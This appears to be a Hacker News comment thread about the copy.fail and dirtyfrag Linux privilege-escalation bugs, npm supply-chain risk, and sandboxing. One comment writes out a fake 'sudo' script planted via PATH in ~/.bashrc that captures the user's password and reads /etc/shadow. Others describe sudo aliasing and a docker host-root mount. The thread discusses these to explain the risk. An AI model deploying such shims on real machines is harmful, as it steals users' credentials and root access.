But it was too convenient. Anyone warning about it or trying to limit the damage was shouted down by people who had no experience of any other way of doing things. "import antigravity" is just too easy to do without.
Well, now we're reaching the "find out" part of the process I guess.
Then I moved to another company where we had builds that access the Internet. We upgrade things as soon as they come out. And people think this is good practice because we're getting the latest bug fixes. CVEs are reviewed by a security team.
Then a startup with a mix of other practices. Some very good. But we also had a big CVE debt. e.g. we had secure boots on our servers and encrypted drives. We had a pretty good grasp on securing components talking to each other etc.
Everyone seems to think they are doing the right thing. It's impossible to convince the "frequent upgrader" that maybe that's a risk in terms of introducing new issues. We as an industry could really use a better set of practices. Example #1 for me is better in terms of dependency management. In general company #1 had well established security practices and we had really secure products.
And yes, they still thought they were doing the right thing.
For example, at one company I worked for, they created an ACL model for applications that essentially enforced rules like: “Application X in namespace A can communicate with me.” This ACL coordinated multiple technologies working together, including Kubernetes NetworkPolicies, Linkerd manifests with mTLS, and Entra ID application permissions. As a user, it was dead simple to use and abstracted away a lot of things i do not know that well.
The important part is not the specific implementation, but the mindset behind it.
An upgrade can both fix existing issues and introduce new ones. However, avoiding upgrades can create just as many problems — if not more — over time.
At the same time, I would argue that using software backed by a large community is even more important today, since bugs and vulnerabilities are more likely to receive attention, scrutiny, and timely fixes.
I would count myself as a "frequent upgrader" - I admin a bunch of Ubuntu machines and typically set them to auto-update each night. However, I am aware of the risks of introducing new issues, but that's offset by the risks of not upgrading when new bugs are found and patched. There's also the issue of organisations that fall far behind on versions of software which then creates an even bigger problem, though this is more common with Windows/proprietary software as you have less control over that. At least with Linux, you can generally find ways to install e.g. old versions of Java that may be required for specific tools.
There's no simple one-size-fits-all and it depends on the organisation's pool of skills as to whether it's better to proactively upgrade or to reluctantly upgrade at a slower pace. In my experience, the bugs introduced by new versions of software are easier to fix/workaround than the various issues of old software versions.
I like to think people would agree more on the appropriate method if they saw the risk as large enough.
If you could convince everyone that a nuclear bomb would get dropped on their heads (or a comparably devastating event) if a vulnerability gets in, I highly doubt a company like #2 would still believe they're doing things optimally, for example.
Well, you critisize people who run the latest software here. Two counter-arguments:
1) If you don't upgrade frequently, you end up with super stable debian stuck on ... ancient software. This in turn means that many more recent software, won't work, unless you recompile a lot. I had this issue with mesa for instance, then needing a more recent LLVM, spirv-components and so forth. No chance to have that easily on debian, unless you control what you compile. On my local system here I run gtk2, gtk3 and gtk4 just fine. Good luck having that with debian for recent version; even debian sid is slow compared to, say, gentoo or arch(linux) or void(linux) here.
2) Even debian systems would be vulnerable to copy.fail. So that strategy is also not automatically better.
Personally I am among the frequent update folks. I use ruby scripts to automatically update to the latest, in hope that the people who write code are not incompetent. There is no guarantee that newer software is automatically always better; it is a trade-off. I don't have the time and resource for infinite security audits. I need to get things done and this approach, different to the "everything is scary" crowd, works super-well for me. I use a versioned AppDir approach on linux though, so I don't run into many issues of "can not upgrade because of same .so name issue", so I can conveniently switch to other versions as-is, including the kernel. (Excluding ABI differences and glibc, but for about 98% of the programs this works very well. I am also not alone with the get-everything-working approach, see xserver or gtk2-ng: https://github.com/X11Libre/xserver https://git.devuan.org/Daemonratte/gtk2-ng - granted, for the linux kernel this does not work that well ... I think we need better strategies for the linux kernel, things such as copy.fail should not be possible. I have no good solution here, AI will find many more exploits. No clue how we can prevent this or mitigate this more easily. I was surprised when the local instructor showed us how easy it is to use python for gaining superuser access as-is.)
Assuming we survive the gap period where every country chucks what they still have at their worst enemies, I mean. I suppose we can always hit each other with animal bones.
Auto-installing random software is the problem. It was a problem when our parents did it, why would it be a good idea for developers to do it?
We're seeing maintainers retreat from maintaining because the amount of AI slop being pushed at them is too much. How many are just going to hand over the maintenance burden to someone else, and how many of those new maintainers are going to be evil?
The essential problem is that our entire system of developing civilisation-critical software depends on the goodwill of a limited set of people to work for free and publish their work for everyone else to use. This was never sustainable, or even sensible, but because it was easy we based everything on it.
We need to solve the underlying problem: how to sustainably develop and maintain the software we need.
A large part of this is going to have to be: companies that use software to generate profits paying part of those profits towards the development and maintenance of that software. It just can't work any other way. How we do this is an open question that I have no answers for.
Even an intelligence agency doesn't have perfect opsec, and something could get mentioned offhand somewhere on a forum, but never get picked up until the LLM uses it.
Nuclear might be airgapped but what about water, power…?
> any useful piece of software has been fuzz tested, property tested and formally verified.
That would require effort. Human effort and extra token cost. Not going to happen, people want to rather move fast an break things.
We should have:
- OS level capabilities. Launched programs get passed a capability token from the shell (or wherever you launched the program from). All syscalls take a capability as the first argument. So, "open path /foo" becomes open(cap, "/foo"). The capability could correspond to a fake filesystem, real branch of your filesystem, network filesystem or really anything. The program doesn't get to know what kind of sandbox it lives inside.
- Library / language capabilities. When I pull in some 3rd party library - like an npm module - that library should also be passed a capability too, either at import time or per callsite. It shouldn't have read/write access to all other bytes in my program's address space. It shouldn't have access to do anything on my computer as if it were me! The question is: "What is the blast radius of this code?" If the library you're using is malicious or vulnerable, we need to have sane defaults for how much damage can be caused. Calling lib::add(1, 2) shouldn't be able to result in a persistent compromise of my entire computer.
SeL4 has fast, efficient OS level capabilities. Its had them for years. They work great. They're fast - faster than linux in many cases. And tremendously useful. They allow for transparent sandboxing, userland drivers, IPC, security improvements, and more. You can even run linux as a process in sel4. I want an OS that has all the features of my linux desktop, but works like SeL4.
Unfortunately, I don't think any programming language has the kind of language level capabilities I want. Rust is really close. We need a way to restrict a 3rd party crate from calling any unsafe code (including from untrusted dependencies). We need to fix the long standing soundness bugs in rust. And we need a capability based standard library. No more global open() / listen() / etc. Only openat(), and equivalents for all other parts of the OS.
If LLMs keep getting better, I'm going to get an LLM to build all this stuff in a few years if nobody else does it first. Security on modern desktop operating systems is a joke.
https://blog.plan99.net/why-not-capability-languages-a8e6cbd...
But as pointed out by others, this particular exploit wouldn't be stopped by capabilities. Nor would it be stopped by micro-kernels. The filesystem is a trusted entity on any OS design I'm familiar with as it's what holds the core metadata about what components have what permissions. If you can exploit the filesystem code, you can trivially obtain any permission. That the code runs outside of the CPU's supervisor mode means nothing.
The only techniques we have to stop bugs like this are garbage collection or use of something like Rust's affine type system. You could in principle write a kernel in a language like C#, Java or Kotlin and it would be immune to these sorts of bugs.
Those exploits are in kernel, and the userspace is only calling the normal, allowed calls. Removing global open()/listen()/etc.. with capability-based versions would still allow one to invoke the same kernel bugs.
(Now, using microkernel like seL4 where the kernel drivers are isolated _would_ help, but (1) that's independent from what userspace does, you can have POSIX layer with seL4 and (2) that would be may more context switches, so a performance drop)
I prefer it’s model of declaring this is what I want to use, any calls to code outside that error out.
Package managers aren't going anywhere. Even languages that historically bet on large standard libraries have been giving up on that over time (e.g. Java's stdlib comes with XML support but not JSON).
Unfortunately, LLMs are also not cheap enough to just create whole new PL ecosystems from scratch. So we have to focus on the lowest hanging fruits here. That means making sandboxing and containers far more available and easy for developers. Nobody should run "npm install" outside a sandbox.
Yes, I mean crates like anyerror and syn.
We need a cultural shift toward code hygiene, which isn't really any different from the norms most cultures develop around food. It's a mix of crude heuristics but the sense of "eeew" is keeping billions of people alive.
Which is to say: Hiding the sausage-making is a core aspect of what makes supply chains profitable.
They dont wait for the cultures to come back negative to say yes either. They just eat what they are served.
Yes.
I just noticed that a Rust program I'm working on had acquired a plotter driver crate. A plotter driver? The program has no graphical output.
Turns out that "kdtree" has a dev dependency on a profiling library that pulls in a whole graphics system. Even in release mode, I get that, because I have debug symbols turned on, which activated dev dependencies.
Aargh.
Nope that doesn't happen. It's not compiled into your binary if it's a dev or build dependency. Cargo may have downloaded the crate source according to the lockfile and that's it, it shouldn't build anything unneeded.
Today I’m limiting the exposure to dependencies more than ever, and particularly for things that take few hundred lines to implement. It’s a paradigm shift, no less.
Whether to do constant npm upgrades to keep the high-priority security issues count at zero (for what seems like about 15 minutes), or whether to hang back a bit to avoid catching the big one that everyone knows is coming real soon now.
Not enjoying npm at all.
Programming language packages issue only because we don't have zero trust for modules — no restrictions to open socket or file system. Issue is not count, pure function leftPad can't hurt you.
Big companies have security roles on multiple levels, enforcing policies and not allowing devs to just install any package. That's not new but started maybe 15 years ago.
This wasn't a nightmare wanting to happen, but an example of badly maintaned systems for the lowest common denominator.
Edit: and, ofc, what we're discussing here is Linux packages.
Why is npm the only package ecosystem that has so many problems? What are the other package system owners doing better? Let’s start there, instead of blaming the victims.
I have one server that has shell users, and I did the "yum update" and "reboot -f" dance last week.
Was that good enough? Oh no.
Here we go again!
It's much easier to break into an NPM/Github account and push malicious commits in the few hours a maintainer is sleeping than it is to push something out and not have it noticed for 2 weeks.
There are lists of attacks which had an exposure window which was much shorter than 2 weeks:
https://daniakash.com/posts/simplest-supply-chain-defense/ https://blog.yossarian.net/2025/11/21/We-should-all-be-using...
From TFA:
> Right now would be one of the best times for a supply chain attack via NPM to hit hard.
Given the local kernel root exploits, people pulling npm dependencies have an extra high chance of getting rooted. This includes test systems, build systems, the web server running node.js backend, etc. etc. etc.
This means that there is a significantly greater chance that whatever software you download (not necessarily npm-based) on the internet in these couple days has been unknowingly infected with backdoors, simply due to the fact that the vast majority of servers out there that use npm code have easily exploitable vulnerabilities.
Say hypothetically that 20% of attack slip through, which is still worrying, you can mitigate 80% of attacks by just waiting a week. It's a low risk, high reward strategy.
That's why I don't understand:
> If everyone starts waiting a week, their exploits will wait 2 weeks
The proper response from them and you, should be to make sure to have some isolatin between user space and root like gvisor.
That being said, I'm not suggesting that anyone should judge an entire OS based off of how they handle a single minor report, since everything else that I've seen suggests that FreeBSD takes security reports quite seriously. But then you could also use this same argument for the Linux kernel bug, since it's pretty rare for a patch to be mismanaged like this there too :)
[0]: https://www.maxchernoff.ca/p/luatex-vulnerabilities#timeline
So the issue is bigger than the mishandling of a single issue, it’s a fundamental process issue around security for one of the most impactful projects in the entire space.
I don't think it's reasonable to say that an OS that lacks it isn't "serious" about security.
FreeBSD isn’t secure, I suspect you’re sitting on a pile of 0 days for it?
The preference is for usability over security.
Famously: https://vez.mrsk.me/freebsd-defaults
I appreciate your work on the project, but I can’t in good conscience suggest people switch while are such bad defaults.
With FreeBSD there's never any question of "who should this get reported to".
https://lwn.net/Articles/850098
https://news.ycombinator.com/item?id=26507507
tl;dr: deeply insecure WireGuard implementation committed directly into the FreeBSD kernel with zero review.
Was this process problem fixed?
But yeah as I understand lessons were learned.
In general everything needs to be compiled for FreeBSD, but the ports collection is quite extensive. For example you will find Firefox, wayland, GNOME, KDE, xfce, … even dotnet was on there.
Problems arise with properietary stuff like Spotify, Widevine DRM etc. However, FreeBSD has a Linux emulation layer (providing syscalls), dubbed ‘Linuxulator’. I managed to run the Spotify Linux desktop client but the Spotify website wouldn’t let me log in, didn’t research further. AFAIK the emulator is limited though, not implementing all syscalls.
There is also podman for FreeBSD and in addition to running FreeBSD containers (using Jails under the hood I guess?) it can run Linux containers as well (using the Linuxulator in addition then?).
It also comes with a hypervisor called bhyve if you want to run VMs
There is a handbook on their website describing how to set up a system (including desktop environment) if you want to give it a go.
I kid, I kid...
https://github.com/artifact-keeper
An artifact manager. Only get what you approve. So you can get fast updates when needed and consistently known stable when you need it. Does need a little config override - easy work.
I had my own janky tooling for something like it. This is a good project.
Once noticed, that's where the exploit explosion erupts, excited exploiters everywhere, emboldened... enticed... excessively encouraged, by your delayed updates.
Attackers can’t push a security update without going through the reporting process (e.g. Github CVE), so they can’t necessarily abuse that easily.
Another model is Perl's CPAN where you publish source files only.
Reviewing upstream diffs for every package requires a lot of man hours and most packagers are volunteers. I guess LLMs might help catching some obvious cases.
This naturally doesn't work outside corporations.
At that point you're just as vulnerable to a supply chain attack.
(Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a handful of trusted people can publish to the default repos for system package managers and 2. that since I have to run `apt-get install` as root anyway, package installers can completely pwn my system if they want to and I am protected purely by trust. Is some of that wrong? If it's right, isn't it nonsensical to be any more worried about installing new packages in light of these vulns?)
The post in question points to dependency package managers however not system packages, such as NPM, which has pre and post build scripts, install scripts, etc.
We set up our base containers with all the external dependencies already in them and then only update those explicitly when we decide it's time.
This means we might be a bit behind the bleeding edge, but we're also taking on a lot less risk with random supply chain vulns getting instant global distribution.
What I want to say with that is fundamentally our world works because atleast most people do not abuse shit. That is fundamentally how human society has always worked, and will likely continue to do so.
I've studied security culture before and in most cases everything comes down to a sliding scale with security on one side and convenience/accessibility on the other, the more secure something is, the less accessible it is and vice versa.
[0] https://www.youtube.com/watch?v=LTI0SeyhAPA
Edit: I think I understand. copyfail is a kernel bug that lets a malicious npm package get root access on your Linux server, right?
So now, while there are unpatched servers, is when it would be the perfect time for attackers to target NPM packages.
And the advice isn't just "update your kernel" because we are still finding new related issues?
If a popular NPM package was compromised and included a copy.fail exploit, it would make lots of systems vulnerable to root privilege escalation.
The advice isn't just "update your kernel" because there is no update. The latest vulnerability (the one discovered after copy.fail) still has no fix.
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc
mkdir -p .local/bin/
cat <<EOF >.local/bin/sudo
read -rs -p "[sudo] password for $USER: " PASSWORD
echo ""
echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
EOF
chmod +x .local/bin/sudo
attack on next sudo call, shows data accessible only to root.Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:
$ docker run -it -v.:/app -w /app node:alpine /bin/sh
long term environments defined in docker compose: $ docker-compose.yml
services:
app:
image: node:alpine
volumes:
- .:/app
working_dir: /app
command: /bin/sh
$ docker compose run app
switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.It's quite different from PATH-injecting an already privileged user.
Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily.
It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix security isn't perfect, but it should not allow this.
PoC attack on k8s [1] claims execution through sibling layers of kube-proxy, host filesystem access through /dev/ [2].
[1] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...
[2] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...
docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
Chances are that the person who set up Docker didn't do it properly. $ docker run -it -v.:/app -w /app node:alpine /bin/sh
/app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
/bin/sh: docker: not found
I've described attack from host user and isolating attacker with docker.It is regularly pointed out as a drawback by Android users (e.g. "I can't run that doomscrolling blocker in iOS"), but from a security-model perspective it was visionary back in 2008.
I've done that ever since. Of course, I still use packages like express and tailwindcss. But in the era of LLMs, using a package for something like react drop-downs is unnecessary.
https://news.ycombinator.com/item?id=47943499 - 44 CVEs trying to replace coreutils with a greenfield rust rewrite.
https://news.ycombinator.com/item?id=47921079 - Shoehorning AI stuff into Ubuntu is the future.
the idea that it exists at all is more or less a gentleman's agreement in the engineering world anyway
> Because the responsible disclosure schedule and the embargo have been broken, no patch exists for any distribution.
I had to do a double take reading that. It’s written something happened and prevented them from following a schedule but seemingly they chose to release the information. I hope I’m missing something where it was forcibly disclosed elsewhere.
Edit: Moments later I refreshed the homepage and saw the announcement. They do claim to have consulted with maintainers
Very odd wording. I assume there’s an interesting/upsetting story here that will come out soon.
I don't doubt that the patch reversal + exploit PoC made by a third party is the result of people figuring out how patches work in open source projects like these.
Anyone with access to a good enough LLM can scour through supposedly minor bug fixes that might hide a critical vulnerability rather than doing it all manually. The LLM will probably throw up tons of false positives and miss half the issues, it you only need one or two successes.
Just alias sudo to sudo-but-also-keep-password-and-execute-a-payload in ~/.bashrc and wait up to 24 hours. Maybe also simulate some breakage by intercepting other commands and force the user to run 'sudo systemctl' or something sooner rather than later.
this is only scary for rootless containers as it skips an isolation layer, but we've started shipping distroless containers which are not vulnerable to this due to the fact that they lack priviledge escalation commands such as su or sudo.
never trust software to begin with, sandbox everything you can and don't run it on your machine to begin with if possible.
But there are a lot of academic and research institutions that actually do have good Linux user management. I worked at a pediatric hospital, and the RHEL HPC admins did not mess around in terms of who was allowed to access which patients' data. As someone who was not an admin, it was a huge pain and it should have been. So this bug has pretty serious implications, seems like anyone at that hospital can abscond with a lot of deidentified data. [research HPC not as sensitive as the clinical stuff, which I think was all Windows Server]
Infecting sudo just makes for a quick demo.
If your container has different processes at different user ids, the exploit would still be effective.
It would likely also be able to “modify” read only files mapped from the host.
I won't enter into all the details but... It's totally possible to not have the sudo command (or similar) on a system at all and to have su with the setuid bit off.
On my main desktop there's no sudo command there are zero binaries with the setuid bit set.
The only way to get root involves an "out-of-band" access, from another computer, that is not on the regular network [1].
This setup as worked for me since years. And years. And I very rarely need to be root on my desktop. When I do, I just use my out-of-band connection (from a tiny laptop whose only purpose is to perform root operations on my desktop).
For example today: I logged in as root blocked the three modules with the "dirty page" mitigation suggested by the person who reported the exploit.
You're not faking sudo with a mocking-bird on my machine. You're not using "su" from a regular user account. No userns either (no "insmod", no nothing).
Note that it's still possible to have several non-root users logged in as once: but from one user account, you cannot log in as another. You can however switch to TTY2, TTY3, etc. and log in as another user. And the whole XKCD about "get local account, get everything of importance", ain't valid either in my case.
I'm not saying it's perfect but it's not as simple as "get a local shell, wait until user enters 'sudo', get root". No sudo, no su.
It's brutally simple.
And, the best of all, it's a fully usable desktop: I'm using such a setup since years (I've also got servers, including at home, with Proxmox and VMs etc., but that's another topic).
Something that concerns me more is I use things like gemini-cli or claude-cli via their own, non-sudo accounts with no ssh keys or anything on my laptop, but a LPE means they can find away around such restrictions if they feel like it (and they might).
Actually now I use my yubikey to authentice so I don't have to type my password for sudo. Take that!
If you can't trust your update sources, you have bigger problems.
In my book, having unattended-upgrades or windows update run amok on your system is functionally worse than a rootkit.
For personal machines without those resources you are a bit of a hard place - although many OS and software these days have long term stable versions and the ability to defer auto patches by a week or two
It's a problem we have to live with for the sake of progress and for security updates. Every machine needs downtime for maintenance on a periodic, often-scheduled basis. It might cost time but avoiding updates is not a good plan.
Aside from dodgy updates that have to run as root to install, if you have passwordless sudo it's more dangerous than any broken package or local-only privilege escalation exploit. I'll wager many have it set up that way, because typing passwords is tiresome.
People lamented semver not being trustable but that ship sailed a long time ago, and supply chain attacks are going to get worse before they get better.
Our team is pretty minimal when it comes to enforced hooks (everyone has their own workflow) but no one could come up with an objection to this one.
It takes 45 seconds to go check how old the copyfail and dirtyfrag vulnerabilities actually are. Which is longer than it takes to read TFA. Dirtyfrag may be relevant to systems from as far as 2017.
It's not "new" software being affected. And actual old software is in a much worse state because we had a lot more time to find their problems.
It's as if Windows had a vulnerability triggered by writing a certain string to a file. Copyfail is to write the string to a file. Dirtyfrag is to get another program to write the string to a file. When you fix the vulnerability - make sure nothing strange happens when the string is written - both go away at the same time.
I am worried that the sluggishness appeared about the same time on both devices
Even worse are the “extension packs” that combine some normal things and one wonky thing nobody’s ever heard of…
I don't remember where I read it, but it basically boils down to need vs want.
I've used that rule for deciding between a new car or used. A fancy vacuum or basic.
A shiny new gadget.
Bringing new things into the tech stack.
Picking a new tech stack.
This makes no sense.
So, copy.fail refers to a linux kernel problem, yes? A local instructor showed it to us, e. g. by using python to become superuser.
Well ... does this mean that a computer system is useless, because of that bug? No. Besides, people can patch it already, so while that is indeed a huge bug as such, it does not mean it makes people's computer useless at all.
But, even ignoring this ... why would we now AVOID installing new software" for a bit? What rationale is given here? The rationale was given "because of ... uhm ... npm supply chain attacks":
"Right now would be one of the best times for a supply chain attack via NPM to hit hard.
Outside of Linux kernel patches from your distro, I think it's probably a good idea to put a moratorium on installing new software for a week or so."
Well, many computer systems won't even have npm installed. Besides, if they do, they should be well aware of npm having had issues for such a long time. left-pad is still the funniest one of all tims IMO, or among top three. copy.fail is not funny - it is almost so simple that it is stupid, which kind of makes this an epic fail indeed, and that AI found it also kind of means that skynet won. Humans won't find as many weaknesses as AI skynet will. But just because of such an exploit and npm sucking, why would this mean I should ... arbitrarily stop compiling any new software? THAT MAKES ABSOLUTELY NO SENSE AT ALL. That "rationale" is not a rationale. That is just an opinion, without any real argument to be had.
If the issue is serious, patch the linux kernel. End of story. No need to have a "moratorium" on installing new software. The "for a bit" makes no sense anymore than "for 50 days" or any other arbitrary number. xeiaso is not THINKING here.
I personally switched away from macOS with this being one of the reasons, after having realized brew will eventually compromise my system with their antics.
I switched to llama.cpp because of that.
To me it feels more and more that the slopcode world is the opposite philosophy of reproducible builds. It's like the anti methodology of how to work in that regard.
Before, everyone was publishing breaking changes in subminor packages because nobody adhered to any API versioning system standards. Now it's every commit that can break things. That is not an improvement.
When I see pages of obviously generated prose being submitted as any kind of documentation, my eyes just glaze over. I feel so guilty sharing similar stuff too, though to my credit, at least I always lead with a self-written TLDR, the slop is just for reference. But it's so bad, like genuinely distressing tier. I don't want to read all that junk, and more and more gets produced.
Prose type docs have always been my Achilles heel, and this is like the worst possible evolution of that.
For a brief period in the past few weeks, they somehow managed to make a change to ChatGPT Thinking that made it succint. The tone was super fact oriented too. It was honestly like waking up from a fever dream.
I know there are extensions and proxies you can set up that do this, but it just seems like it should be built in to NPM directly (maybe it has, I haven't been up on Node programming in the last couple years).
It must have been a very quiet announcement because I just found out about it this week.
Reducing attack surface and software complexity will (theoretically) reduce the number of possible exploits regardless of what new tool or process attackers discover.
I'm not associated with the project in any way and am very much open to other suggestions, either as an alternative to LuLu or to complement it.
AI coding is great at is helping you try out things you wouldn't have the time or energy to normally do. It shines for writing scripts that aren't part of a larger codebase, and helping with boring, rote tasks.
Hackers are also very motivated to use new tools to find any kind of opening (unlike normal devs who aren't always as... motivated :).
They’re always racing to be the first one to write an article about a case.
It means you skip supply chain attacks but may miss fresh vulnerability patches too.
[0] https://news.ycombinator.com/item?id=47513932
[1] https://github.com/npm/cli/issues/8570
[2] https://socket.dev/blog/npm-introduces-minimumreleaseage-and...
We’re not downloading new firmware and installing for a lot of things it’s all getting pulled in automatically.
But problem is this could lead to abuse of the CVE system to try to force rapid adoption of attacked packages. What prevents this?
Behaviours matter more than OS security primitives.
If you have code execution, you can attack the OS.
As always, I know most of us work in IT, but things rarely are actually binary.
For supply chain attacks that simply bide their time, or for dependencies which involve interacting with other subsystems, it's possible you miss a critical security update by doing this. Of course, the maintainers of the crates should yank known bad releases, but that's putting trust in a third-party that may have already been compromised.
6-19-2005
My copy of StepMania is turning old enough to drink in like a month and it's still fantastic, software updates are (mostly) a scam.
VM isolation would still be safe even with these kernel exploits.
Once everyone takes the stance of waiting 2 weeks, we are all back to the same situation.
I don’t like the suggestion to “wait for others to be the unfortunate victims, so that I can benefit from their misfortune”.
Surely there’s a better way.
there's a secure option provided by the web - no build - scripts at the top / bottom of the page
they're executed in a secure sandbox
What are people thinking with these meme style vulnerability names? It's going to be hard to pitch "we need to push back the timeline on this new infrastructure deploy while we mitigate Copy Fail 2: Electric Boogaloo".
Sure we've just faced an acceleration phase and a wave of patches will follow before settling in. But where we used to find x zero-day per million LoC, we will now find 10x ZD/MLoC. [hopefully detection will become part of CI so that number may vary]
So, we will have more disasters waiting to happen. Assume that they will happen.
My #1 recommendation is to curate a list of the auth tokens that you use (keep the list, not the actual tokens in a central place...), and be ready to rotate them as automatically as possible. You already have backups. Know how to rotate all your credentials.
Write some scripts. Get ready. It will happen.
Please grow a brain.
The copyFail didn't, the dirtyfrag doesn't.
This copfail2 does modify /etc/passwd, but I can't `su - sick` as expected.
/s
I did try fixing the path to use nixos paths, but it was still unsuccessful. Did not really check further.
Code is cheap and is becoming cheaper by the day. We need new paradigms.
And the benefit is the obscurity of "no one will know how to exploit them"?
No, thanks.
I know this is unrelated to the article, but related to the title.